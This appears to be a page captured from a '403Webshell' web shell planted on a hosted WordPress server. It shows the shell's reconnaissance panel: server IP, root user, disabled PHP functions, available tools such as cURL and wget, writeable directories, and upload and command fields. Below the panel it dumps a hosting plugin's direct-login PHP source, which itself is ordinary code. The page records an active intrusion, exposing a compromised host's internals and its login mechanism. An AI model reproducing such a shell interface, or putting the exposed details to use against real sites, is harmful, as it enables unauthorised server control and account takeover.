403Webshell
Server IP : 151.101.66.159  /  Your IP : 216.73.216.66
Web Server : Flywheel/5.1.0
System : Linux wordpress 6.12.113+ #1 SMP Thu Oct 22 02:38:20 UTC 2026 x86_64
User : root ( )
PHP Version : 7.4.33.18
Disable Function : disk_free_space,diskfreespace,dl,exec,fpassthru,getmypid,getmyuid,highlight_file,link,opcache_compile_file,opcache_get_configuration,opcache_is_script_cached,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,phpinfo,popen,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,show_source,socket_listen,source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/flywheel-config/plugins/flywheel/direct-login/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/flywheel-config/plugins/flywheel/direct-login/login.php
<?php

namespace FlywheelDirectLogin;

class Login {

  private $request;
  private $store;
  private $logger;

  private $request_lifetime;

  function __construct(Store $store, Logger &$logger, Request $request, int $request_lifetime) {
    $this->store    = $store;
    $this->logger   = $logger;
    $this->request  = $request;

    $this->request_lifetime = $request_lifetime;
  }

  /**
   * Handles GET requests to the plugin.
   *
   * These requests are initiated by the app and require a return URL,
   * which is HTTPS and a trusted origin.
   */
  public function get($redirect_url, $trusted_origins, $https_required = true) {
    if( is_user_logged_in() ) {
      throw new UserLoggedInException();
    }

    if( is_multisite() ) {
      throw new MultisiteEnabledException();
    }

    $parsed_redirect_url = parse_url($redirect_url);
    if(
      ! in_array($parsed_redirect_url['host'], $trusted_origins) ||
      ( $https_required && 'https' !== $parsed_redirect_url['scheme'] )
    ) {
      throw new InvalidRedirectURLException($redirect_url);
    }

    $request_id = $this->request->regenerate();
    $this->store->store($request_id, time(), $this->request_lifetime);

    $this->logger->setRequestID($request_id);
    $this->logger->log("new request");

    wp_redirect($redirect_url . '?' . http_build_query(['request_id' => $request_id, 'tls' => self::isTLS()]));
  }

  /**
   * Handles POST requests to the plugin.
   *
   * These requests are initiated by the app and carry an encrypted message,
   * as well as nonce values. Both are base64 encoded. This method will check
   * if the message is valid, then process it to log the user in.
   */
  public function post($payload, $nonce, $key) {
    $this->request->decrypt($payload, $nonce, $key);
    $this->logger->setRequestID($this->request->getID());

    try {
      if( is_user_logged_in() ) {
        throw new UserLoggedInException();
      }

      if( is_multisite() ) {
        throw new MultisiteEnabledException();
      }

      if( ! $this->store->validate($this->request->getID(), time(), $this->request_lifetime) ) {
        $this->logger->log('request not valid');
        return;
      }

      $user = $this->request->user();

      wp_set_current_user( $user->id );
      wp_set_auth_cookie( $user->id );
      do_action( 'wp_login', $user->user_login, $user );

      $this->logger->log('logged in user ' . $user->id);
    } finally {
      $this->store->clear($this->request->getID());
    }
  }

  protected static function isTLS() {
    return is_ssl() || ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https' );
  }
}

class UserLoggedInException extends \Exception {};

class MultisiteEnabledException extends \Exception {};

class InvalidRedirectURLException extends \Exception {
  public function __construct($redirect_url) {
    parent::__construct("Invalid redirect URL: $redirect_url");
  }
};

Youez - 2016 - github.com/yon3zu
LinuXploit